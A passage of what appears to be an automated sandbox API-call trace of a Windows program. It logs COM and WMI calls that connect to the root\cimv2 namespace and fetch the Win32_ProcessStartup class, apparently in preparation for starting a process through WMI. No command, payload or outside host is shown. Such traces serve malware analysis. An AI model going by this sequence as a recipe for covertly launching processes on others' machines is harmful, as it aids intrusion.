[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0142.183] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0142.184] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0142.184] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.185] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce6b40) returned 0x0 [0142.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6b40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0142.186] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6b40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd8e60) returned 0x0 [0142.186] WbemDefPath:IUnknown:Release (This=0x1bce6b40) returned 0x0 [0142.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd8e60) returned 0x0 [0142.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0142.188] WbemDefPath:IUnknown:AddRef (This=0x1bcd8e60) returned 0x3 [0142.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0142.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0142.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce6b80) returned 0x0 [0142.188] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6b80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.188] WbemDefPath:IUnknown:Release (This=0x1bce6b80) returned 0x3 [0142.188] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0142.188] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0142.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0142.188] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x2 [0142.188] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x1 [0142.188] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0142.188] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd8e60) returned 0x0 [0142.188] WbemDefPath:IUnknown:AddRef (This=0x1bcd8e60) returned 0x3 [0142.188] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x2 [0142.188] WbemDefPath:IWbemPath:SetText (This=0x1bcd8e60, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0142.188] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8e60, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.188] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8e60, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8e60, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8e60, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8e60, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0142.189] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.189] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0142.189] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0142.189] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0142.189] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.191] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bce6bc0) returned 0x0 [0142.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6bc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0142.191] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6bc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bcd99a0) returned 0x0 [0142.191] WbemDefPath:IUnknown:Release (This=0x1bce6bc0) returned 0x0 [0142.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bcd99a0) returned 0x0 [0142.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0142.192] WbemDefPath:IUnknown:AddRef (This=0x1bcd99a0) returned 0x3 [0142.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0142.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0142.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bce6c00) returned 0x0 [0142.192] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6c00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.192] WbemDefPath:IUnknown:Release (This=0x1bce6c00) returned 0x3 [0142.192] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0142.192] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0142.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0142.192] WbemDefPath:IUnknown:Release (This=0x1bcd99a0) returned 0x2 [0142.192] WbemDefPath:IUnknown:Release (This=0x1bcd99a0) returned 0x1 [0142.192] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0142.192] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0142.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd99a0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bcd99a0) returned 0x0 [0142.192] WbemDefPath:IUnknown:AddRef (This=0x1bcd99a0) returned 0x3 [0142.192] WbemDefPath:IUnknown:Release (This=0x1bcd99a0) returned 0x2 [0142.193] WbemDefPath:IWbemPath:SetText (This=0x1bcd99a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0142.193] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd99a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.193] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd99a0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.193] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd99a0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.193] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0142.193] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0142.193] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0142.193] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.194] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bce6d00) returned 0x0 [0142.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0142.194] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce6d00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bce6d20) returned 0x0 [0142.194] WbemLocator:IUnknown:Release (This=0x1bce6d00) returned 0x0 [0142.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bce6d20) returned 0x0 [0142.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0142.195] WbemLocator:IUnknown:AddRef (This=0x1bce6d20) returned 0x3 [0142.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0142.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0142.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0142.195] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0142.195] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0142.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0142.195] WbemLocator:IUnknown:Release (This=0x1bce6d20) returned 0x2 [0142.195] WbemLocator:IUnknown:Release (This=0x1bce6d20) returned 0x1 [0142.195] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0142.195] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0142.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6d20, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bce6d20) returned 0x0 [0142.195] WbemLocator:IUnknown:AddRef (This=0x1bce6d20) returned 0x3 [0142.195] WbemLocator:IUnknown:Release (This=0x1bce6d20) returned 0x2 [0142.195] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd99a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.195] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd99a0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.195] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd99a0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.196] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bce6d40) returned 0x0 [0142.196] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce6d40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bce8f80) returned 0x0 [0142.286] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8f80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc42ce0) returned 0x0 [0142.286] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42ce0, pProxy=0x1bce8f80, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0142.286] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x1 [0142.286] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8f80, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42d20) returned 0x0 [0142.286] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8f80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc42ce0) returned 0x0 [0142.286] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42ce0, pProxy=0x1bce8f80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.287] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x2 [0142.287] WbemLocator:IUnknown:Release (This=0x1bc42d20) returned 0x1 [0142.287] CoTaskMemFree (pv=0x1bcc28c0) [0142.287] WbemLocator:IUnknown:AddRef (This=0x1bce8f80) returned 0x2 [0142.287] WbemLocator:IUnknown:Release (This=0x1bce6d40) returned 0x0 [0142.287] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0142.287] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0142.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8f80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc42cf0) returned 0x0 [0142.288] WbemLocator:IRpcOptions:Query (in: This=0x1bc42cf0, pPrx=0x1bce6da0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0142.288] WbemLocator:IUnknown:Release (This=0x1bc42cf0) returned 0x2 [0142.288] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0142.288] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0142.288] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce8f80, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bce8f80) returned 0x0 [0142.288] WbemLocator:IUnknown:Release (This=0x1bce8f80) returned 0x2 [0142.288] SysStringLen (param_1=0x0) returned 0x0 [0142.288] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0142.288] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0142.288] IWbemServices:GetObject (in: This=0x1bce8f80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa29650, ppCallResult=0x0) returned 0x0 [0142.291] IWbemClassObject:Get (in: This=0x1aa29650, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 